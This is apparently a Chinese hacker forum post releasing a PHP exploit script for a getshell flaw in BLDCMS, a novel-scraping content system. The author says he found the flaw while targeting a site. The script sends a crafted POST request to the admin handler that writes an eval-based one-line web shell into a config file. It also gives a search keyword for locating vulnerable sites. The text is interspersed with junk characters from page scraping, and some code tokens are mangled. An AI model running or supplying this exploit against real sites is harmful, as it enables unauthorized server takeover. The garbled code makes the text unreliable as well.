BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

& X8 ]% N  t" v5 f' F4 u, w
% d% |$ _$ t. ^, ?4 H话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
" y$ Y6 B- r8 x9 h
既然都有人发了 我就把我之前写好的EXP放出来吧

& g: Y, i4 G' X" p6 N% R8 `# }view source print?01.php;">
5 k7 ~% W; {" j1 t: S' A# B$ x' B" E02.<!--?php
03.echo "-------------------------------------------------------------------
$ l& N1 x. T) y0 }' Z04.
, F; M5 W1 |. u; ^4 }05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
& ~; @$ `6 L. E06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
) B7 x' y/ r0 p; A13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
: x9 |) O, }. ?+ S) Y16.--------------------------------------------------------------------\r\n";
! `$ `, a4 S, g" W" o( _8 |. b17.$url=$argv[1];
18.$dir=$argv[2];
7 ]7 ]9 c4 a# J8 Z, I  b6 \* o; e+ X5 o19.$pass=$argv[3];
, Z! Z! q, i0 Z5 k20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
* {! l% \% Y' E9 d  w22.{exit("请输入参数");}
# h7 o0 O/ d/ _4 ^+ a; U% Q23.else
24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
, {6 B" \% f$ K; X0 {4 Z- q29.function getshell($url,$pass)
9 v" e0 z" ]% g$ v! G! x) ^30.{
0 F: m+ Z. k& S3 C& S3 U- l31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
2 t7 i- T" u: Q+ _& g; W7 ?34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
) w% H! A* m5 r37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
% `2 _8 k5 Y4 g: F8 c40.$fp = fsockopen($url, 80,$errno,$errstr,15);
( Z$ J5 ?4 y' U. t41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
; l/ O: l' W1 s5 u2 d; M45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
' B9 r: J  h0 f$ W! X47.else
7 F) v9 ~* d1 [% q# G3 Q48.{
6 x6 e2 S: K/ d8 k49.$receive = '';
50.while (!feof($fp)) {
/ k& m# _' z1 @# U8 P51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
  y. \0 o0 [/ Q  A54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
! w4 s' {: h" p3 H0 f" t55.
/ B; R8 U$ i% T) V  s* z56.GPC是否=off)";
2 q% [2 g7 |1 `3 Y) f- h( M$ @57.}}
58.}
: ^. y2 a$ h, q+ N3 W8 D- g  }59.}
60.getshell($url,$pass);
61.?-->
, X( b7 s5 ]2 D: v% Z1 `' v
, y, q0 q' `% L6 |2 }

! q6 s- A& C. ?& l% p/ X9 Rby 数据流
9 R7 s1 Y# J/ |5 }2 c